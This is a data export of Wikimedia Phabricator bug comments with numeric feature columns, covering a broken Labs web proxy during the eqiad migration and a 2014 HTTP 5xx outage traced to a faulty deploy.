287531,http proxy doesn't work on eqiad,Now gateway was replaced with 404 error,,,1394528170,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,1.0,Now gateway was replaced with 404 error
287528,http proxy doesn't work on eqiad,"I see only gateway errors. I don't know when these ""windows when it works"" are expected but I have never seen them, only errors.",,,1394528154,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,10.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,10.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,7.0,0.0,17.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,3.5,0.7666666666666667,"I see only gateway errors. I don't know when these ""windows when it works"" are expected but I have never seen them, only errors."
287522,http proxy doesn't work on eqiad,"We have had an ongoing DNS problem in eqiad (well, and in pmtpa a little bit too.)  The dns cache for labs instances gets swamped and there are periodic, brief dns outages.

The behavior that I've seen for proxied instances is that things mostly work, much of the time, but periodically I see an nginx gateway error.  These errors seem to correspond to the dns outages.

1)  Does that explain this bug, or are we talking about something else here?

2)  Are things any better today?  I just cranked up the dnsmasq cache on labnet1001 in hopes of easing this problem.",,,1394505708,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,1.5,1.0,0.0,0.0,0.0,4.0,0.5,0.0,0.0,0.0,2.0,0.5,0.5,0.0,0.5,3.0,0.0,5.5,8.5,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,0.0,16.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,5.0,2.5,6.0,0.5,2.5,8.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,3.0,8.5,1.0,1.5,0.0,0.0,3.0,0.0,0.5,2.0,0.0,1.5,1.0,0.0,1.5,3.7142857142857144,0.8174603174603174,"We have had an ongoing DNS problem in eqiad (well, and in pmtpa a little bit too.)  The dns cache for labs instances gets swamped and there are periodic, brief dns outages.

The behavior that I've seen for proxied instances is that things mostly work, much of the time, but periodically I see an nginx gateway error.  These errors seem to correspond to the dns outages.

1)  Does that explain this bug, or are we talking about something else here?

2)  Are things any better today?  I just cranked up the dnsmasq cache on labnet1001 in hopes of easing this problem."
287517,http proxy doesn't work on eqiad,"Andre: regarding projects - all projects on labs which are using proxy, that are almost all projects with any web server",,,1394488936,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,4.3478260869565215,0.8260869565217391,"Andre: regarding projects - all projects on labs which are using proxy, that are almost all projects with any web server"
287510,http proxy doesn't work on eqiad,"btw this doesn't work too
80	80	tcp	0.0.0.0/0		
443	443	tcp	0.0.0.0/0",,,1394488231,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9545454545454546,0.5909090909090909,"btw this doesn't work too
80	80	tcp	0.0.0.0/0		
443	443	tcp	0.0.0.0/0"
287503,http proxy doesn't work on eqiad,"Tim Landscheidt: why should people on NEW cluster open firewall to OLD cluster which is just going to be shut down? There is no point in doing that - it's the proxy servers which are borked and needs to be migrated to NEW cluster so that they see the servers on NEW cluster which is the cluster which matters now (OLD cluster is to be deleted, there is no point in adjusting NEW cluster to make it work with OLD cluster, you need to do that other way)",,,1394485698,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,4.0,0.0,9.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,16.0,0.0,5.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,4.0,0.0,3.0,9.0,11.0,3.0,1.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,16.0,3.0,1.0,0.0,0.0,4.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,3.831578947368421,0.6,"Tim Landscheidt: why should people on NEW cluster open firewall to OLD cluster which is just going to be shut down? There is no point in doing that - it's the proxy servers which are borked and needs to be migrated to NEW cluster so that they see the servers on NEW cluster which is the cluster which matters now (OLD cluster is to be deleted, there is no point in adjusting NEW cluster to make it work with OLD cluster, you need to do that other way)"
287497,http proxy doesn't work on eqiad,"Just to make it clear YES I AM TALKING ABOUT WebProxy, not NovaAddress

And yes it's still broken, so don't ask people if it's really on their side or if it's really broken because it is really broken. so fix it plz.

wm-bot's public logs are down until the moment it is fixed because someone did disable creation of proxies for pmtpa which is only working cluster for proxies now. So no new proxies can be created.",,,1394485532,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0.0,1.0,0.0,3.0,2.0,4.0,1.0,2.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,14.0,12.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,11.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,1.0,0.0,1.0,7.0,11.0,4.0,2.0,3.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,10.0,12.0,4.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,3.7065217391304346,0.717391304347826,"Just to make it clear YES I AM TALKING ABOUT WebProxy, not NovaAddress

And yes it's still broken, so don't ask people if it's really on their side or if it's really broken because it is really broken. so fix it plz.

wm-bot's public logs are down until the moment it is fixed because someone did disable creation of proxies for pmtpa which is only working cluster for proxies now. So no new proxies can be created."
287493,http proxy doesn't work on eqiad,"Addshore: Just for the obvious questions:

- This is a web proxy, i. e. [[wikitech:Special:NovaProxy]]?
- Your security groups are open ""enough""?  (I. e. not 10.4.0.0/21, but 10.0.0.0/8?)
- Can you access the webserver on your instance directly from other instances in Labs?",,,1394479102,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,0.0,1.0,6.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,13.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,6.0,9.0,6.0,3.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,3.5074626865671643,0.7761194029850746,"Addshore: Just for the obvious questions:

- This is a web proxy, i. e. [[wikitech:Special:NovaProxy]]?
- Your security groups are open ""enough""?  (I. e. not 10.4.0.0/21, but 10.0.0.0/8?)
- Can you access the webserver on your instance directly from other instances in Labs?"
287488,http proxy doesn't work on eqiad,"This also seems to be happening for me sometimes, currently trying to move one of my instances and using a temporary domain wdjenkins2.wmflabs.org

Specifically http://wdjenkins2.wmflabs.org/ci returns a 502.

On my instance the web server is set up and watching the access.log not a single drop seems to get through.
Oddly occasionally it will start working and I will see requests etc. coming through and then it will stop again.",,,1394459890,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,13.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,5.0,1.0,3.0,0.0,0.0,3.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,8.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,8.0,12.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,1.0,8.0,0.0,0.0,3.0,4.376623376623376,0.7662337662337663,"This also seems to be happening for me sometimes, currently trying to move one of my instances and using a temporary domain wdjenkins2.wmflabs.org

Specifically URL returns a 502.

On my instance the web server is set up and watching the access.log not a single drop seems to get through.
Oddly occasionally it will start working and I will see requests etc. coming through and then it will stop again."
287485,http proxy doesn't work on eqiad,"As other projects seem to have successfully migrated, what is the instance's name and what doesn't work?

Also, [[wikitech:Special:NovaAddress]] neither relays http nor proxies anything else, but just assigns public IPs.  The web proxy is managed at [[wikitech:Special:NovaProxy]].

Reassigning to nobody until it's clear what's wrong.",,,1394449350,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0.0,1.0,0.0,1.0,1.0,5.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,9.0,7.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,7.0,5.0,1.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,5.0,3.8421052631578947,0.7105263157894737,"As other projects seem to have successfully migrated, what is the instance's name and what doesn't work?

Also, [[wikitech:Special:NovaAddress]] neither relays http nor proxies anything else, but just assigns public IPs.  The web proxy is managed at [[wikitech:Special:NovaProxy]].

Reassigning to nobody until it's clear what's wrong."
287481,http proxy doesn't work on eqiad,"Petr: Did you talk to Yuvi before assigning it to him? Is Yuvi aware?
Adding blocker bug 62042.

> blocks migration of all projects that require http

How many projects are roughly affected? Priorities should reflect reality...",,,1394448295,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,24.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,8.0,8.0,5.0,8.0,0.0,0.0,8.0,0.0,3.0,0.0,3.0,5.0,0.0,0.0,0.0,4.078947368421052,0.868421052631579,"Petr: Did you talk to Yuvi before assigning it to him? Is Yuvi aware?
Adding blocker bug 62042.

QUOTE

How many projects are roughly affected? Priorities should reflect reality..."
287478,http proxy doesn't work on eqiad,"nobody seem to care, pushing even higher priority :P time is running out and people can't migrate instance because of this",,,1394443647,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,17.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,4.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,4.434782608695652,1.0,"nobody seem to care, pushing even higher priority :P time is running out and people can't migrate instance because of this"
287474,http proxy doesn't work on eqiad,"given that this blocks migration of all projects that require http, I push the priority to top",,,1393973067,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-70,True,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,17.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,6.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9444444444444444,"given that this blocks migration of all projects that require http, I push the priority to top"
62970,HTTP 5xx Wikimedia Errors,"on https://meta.wikimedia.org/wiki/Main_Page

--------------------------
**Version**: wmf-deployment
**Severity**: critical",Unbreak Now!,100.0,1391704680,1391729039.0,PHID-USER-omdcggvudfkuawipp23i,False,,False,PHID-TASK-iycnpw4brr3hvodnv3s6,task_description,resolved,True,c3,1,False,False,True,-73,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,0.5909090909090909,"on URL

--------------------------
**Version**: wmf-deployment
**Severity**: critical"
290793,HTTP 5xx Wikimedia Errors,"Created attachment 14515
Error 5xx rate today, for the records

Basically we had two partial outages lasting 10-20 minutes each on random pages served, if the 5xx error rate graph is to be trusted. I don't know if someone is able to calculate what portion of users/viewers was affected: 125k errors/s is three times the total pageviews/s and the same as total requests, as reported by https://gdash.wikimedia.org/dashboards/reqsum/

(In reply to comment #9)
> Due to Math extension (texvc) apparently.

http://lists.wikimedia.org/pipermail/wikitech-l/2014-February/074321.html
When some conditions piled up.

**Attached**: {F13243}",,,1391730760,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-iycnpw4brr3hvodnv3s6,task_subcomment,,True,c3,1,True,,,-73,True,1.5,0.5,0.0,1.5,0.5,5.0,1.0,0.0,0.0,1.0,2.5,0.5,0.0,0.0,0.0,1.0,0.0,2.0,9.0,0.5,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,1.0,0.0,2.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.5,2.0,0.0,0.5,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,3.0,3.5,8.0,2.0,1.0,4.0,0.0,0.0,0.0,1.0,2.5,0.0,4.0,0.0,1.0,9.0,2.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,3.5982142857142856,0.8225250626566416,"Created attachment 14515
Error 5xx rate today, for the records

Basically we had two partial outages lasting 10-20 minutes each on random pages served, if the 5xx error rate graph is to be trusted. I don't know if someone is able to calculate what portion of users/viewers was affected: 125k errors/s is three times the total pageviews/s and the same as total requests, as reported by URL

(In reply to comment #9)
QUOTE

URL
When some conditions piled up.

**Attached**: {F13243}"
290785,HTTP 5xx Wikimedia Errors,"(In reply to comment #8)
> Appears to have been caused by some issue with the wmf12 deploy.  Everything
> has been reverted to wmf11.  The root cause of the issue was not identified. 
> Can anyone else add anymore details?
Due to Math extension (texvc) apparently.",,,1391729039,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-iycnpw4brr3hvodnv3s6,task_subcomment,,True,c3,1,False,,,-73,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,17.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.260869565217391,0.6956521739130435,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE
Due to Math extension (texvc) apparently."
290777,HTTP 5xx Wikimedia Errors,Appears to have been caused by some issue with the wmf12 deploy.  Everything has been reverted to wmf11.  The root cause of the issue was not identified.  Can anyone else add anymore details?,,,1391721610,,PHID-USER-2qzpsivaeuezrxqtzhwn,False,,,PHID-TASK-iycnpw4brr3hvodnv3s6,task_subcomment,,True,c3,1,False,,,-73,True,2.0,5.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,12.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.975,0.8,Appears to have been caused by some issue with the wmf12 deploy.  Everything has been reverted to wmf11.  The root cause of the issue was not identified.  Can anyone else add anymore details?
290771,HTTP 5xx Wikimedia Errors,Getting it again.,,,1391715537,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-iycnpw4brr3hvodnv3s6,task_subcomment,,True,c3,1,False,,,-73,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,3.75,1.0,Getting it again.
290764,HTTP 5xx Wikimedia Errors,"Issue should be fixed now:

<Reedy> What caused it is fairly obvious (trying to run 3 versions of MW simultaneously). Why that was happening is a differnt matter
<Reedy> It should be fine now...",,,1391706359,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-iycnpw4brr3hvodnv3s6,task_subcomment,,True,c3,1,True,,,-73,True,0.0,0.0,0.0,2.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,2.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,16.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,4.0,4.0,7.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,4.0,0.0,0.0,9.0,3.6222222222222222,0.8444444444444444,"Issue should be fixed now:

<Reedy> What caused it is fairly obvious (trying to run 3 versions of MW simultaneously). Why that was happening is a differnt matter
<Reedy> It should be fine now..."
290757,HTTP 5xx Wikimedia Errors,Also worth to watch https://wikitech.wikimedia.org/wiki/Server_admin_log,,,1391704948,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-iycnpw4brr3hvodnv3s6,task_subcomment,,True,c3,1,True,,,-73,True,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,Also worth to watch URL
290752,HTTP 5xx Wikimedia Errors,"Good spike in https://gdash.wikimedia.org/dashboards/reqerror/

Assuming this is about
""WIKIMEDIA FOUNDATION
Error
Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes."",

Operations is looking at it in #wikimedia-operations on IRC.",,,1391704885,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-iycnpw4brr3hvodnv3s6,task_subcomment,,True,c3,1,True,,,-73,True,2.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,8.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,8.0,19.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,3.0,8.0,7.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,4.11864406779661,0.7966101694915254,"Good spike in URL

Assuming this is about
""WIKIMEDIA FOUNDATION
Error
Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes."",

Operations is looking at it in #wikimedia-operations on IRC."
290748,HTTP 5xx Wikimedia Errors,It's being investigated in -operations right now.,,,1391704790,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-iycnpw4brr3hvodnv3s6,task_subcomment,,True,c3,1,True,,,-73,True,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.777777777777778,1.0,It's being investigated in -operations right now.
